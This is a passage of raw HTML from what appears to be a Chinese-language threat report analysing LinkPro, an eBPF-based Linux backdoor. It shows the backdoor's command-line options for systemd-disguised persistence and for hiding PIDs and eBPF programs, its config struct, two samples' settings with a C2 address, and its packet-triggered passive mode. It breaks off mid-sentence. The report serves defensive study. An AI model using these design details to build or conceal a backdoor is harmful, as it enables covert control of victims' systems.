leaf="">364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">BPF</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">18.8 KiB</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">BPF</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">35.4 KiB</span></p></td></tr></tbody></table><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">配置与通信</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">根据所定义的配置,</span><strong><span leaf="">LinkPro</span></strong><span leaf="">可以以两种方式运行: 被动模式或主动模式。其配置通过两种不同的方式获取:</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">一种是以 JSON 结构内嵌在二进制文件中,并以关键字 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CFG0</span></code><span leaf="">作为前缀;</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">另一种则是把默认参数直接 </span><em style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">硬编码</span></em><span leaf="">进 main 函数中。在两份样本中,我们都观察到了后者。</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后,程序在运行时还会读取命令行参数,用于覆盖默认值:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">Usage</span></span><span leaf=""> of </span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span leaf="">program name</span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;:</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">addsvc</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf=""> systemd disguise</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">connection</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">mode string</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span leaf=""> forward  reverse (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;reverse&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">debug string</span><br/><span leaf="">         (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;false&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">dns</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">domain string</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">DNS</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;dns.example.com&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">dns</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">mode string</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">DNS</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span leaf=""> direct()  tunnel() (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;tunnel&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">dns</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">server string</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">DNS</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">8.8</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">8.8</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">53</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ebpf string</span><br/><span leaf="">         eBPF  (</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf="">,</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf="">) (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;1&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">hideebpf string</span><br/><span leaf="">        hide ebpf prog</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">map</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">link in </span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">proc (</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf="">,</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf="">) (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;1&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">jitter string</span><br/><span leaf="">        () (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;2&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">key string</span><br/><span leaf="">        ()</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">pid string</span><br/><span leaf="">        pid to hide (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;-1&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">port string</span><br/><span leaf="">         (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;6666&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">protocol string</span><br/><span leaf="">        (httptcpudpdns) (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;http&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">reverse</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">port string</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">HTTP</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;2233&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">rmsvc</span><br/><span leaf="">         systemd disguise</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">server string</span><br/><span leaf="">         (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;1.1.1.1&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">sleep string</span><br/><span leaf="">        () (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;10&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">version string</span><br/><span leaf="">         (</span><span style="color: rgb(215, 58, 73);"><span leaf="">default</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;1.0.0&#34;</span></span><span leaf="">)</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在调查中观察到的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-addsvc</span></code><span leaf="">参数,被用来启用其持久化机制。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下面是 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">实现中所采用的配置结构体:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">TailConfig</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">// sizeof=0xD0</span><br/></span><span leaf="">{</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> ServerAddress;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> ServerPort;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> SecretKey;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> SleepTime;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> JitterTime;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> Protocol;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> DnsDomain;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> DNSMode;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> DnsServer;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> Debug;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> Version;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> ConnectionMode;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> ReversePort;</span><br/><span leaf="">};</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ConnectionMode</span></code><span leaf="">有两个可选值: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reverse</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">forward</span></code><span leaf="">。</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reverse</span></code><p><span leaf="">连接模式对应 </span><strong><span leaf="">被动</span></strong><span leaf="">模式,后门在该模式下 </span><strong><span leaf="">侦听</span></strong><span leaf="">C2 下发的命令。在这种模式下,会安装两个分别属于 </span><em><span leaf="">eXpress Data Path</span></em><span leaf="">12 ( XDP ) 和 </span><em><span leaf="">Traffic Control</span></em><span leaf="">13 ( TC ) 类型的 eBPF 程序,目的是仅在收到 </span><strong style="margin-bottom: 0px;"><span leaf="">特定 TCP 数据包</span></strong><span leaf="">时才激活 C2 通信通道。</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">forward</span></code><p><span leaf="">连接模式对应 </span><strong><span leaf="">主动</span></strong><span leaf="">模式,后门在该模式下 </span><strong style="margin-bottom: 0px;"><span leaf="">主动</span></strong><span leaf="">与 C2 服务器建立通信。在这种模式下,XDP/TC eBPF 程序不会被安装。</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在被入侵信息系统上识别到的两份样本,其配置如下:</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d5b2202b</span></code></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1368f3a8</span></code></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">ServerAddress</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">1.1.1.1 </span><em style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">( 未使用 )</span></em></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">18.199.101.111</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">ServerPort</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">6666</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">2233</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">SecretKey</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">0</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">3344</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">SleepTime</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">10</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">10</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">JitterTime</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">2</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">2</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Protocol</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">http</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">http</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">DnsDomain</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">dns.example.com</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">dns.example.com</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">DNSMode</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">tunnel</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">tunnel</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">DnsServer</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">0</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">0</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Debug</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">false</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">false</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Version</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">1.0.0</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">1.0.0</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">ConnectionMode</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">reverse</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">forward</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">ReversePort</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">2233</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">2233</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DNS 相关字段仅在通过 DNS 协议通信时才会用到。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在解析完配置后,</span><strong><span leaf="">LinkPro</span></strong><span leaf="">会基于以下信息生成一个唯一的客户端 ID:</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SHA1sum(hex:&#34;0123456789abcdeffedcba9876543210&#34; | Hostname | Current user | Executable path | Machine ID | MAC Address | &#34;nginx&#34; )</span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">其中,Machine ID 取自 </span><code style="font-family: SFMono-Regular, Consolas, 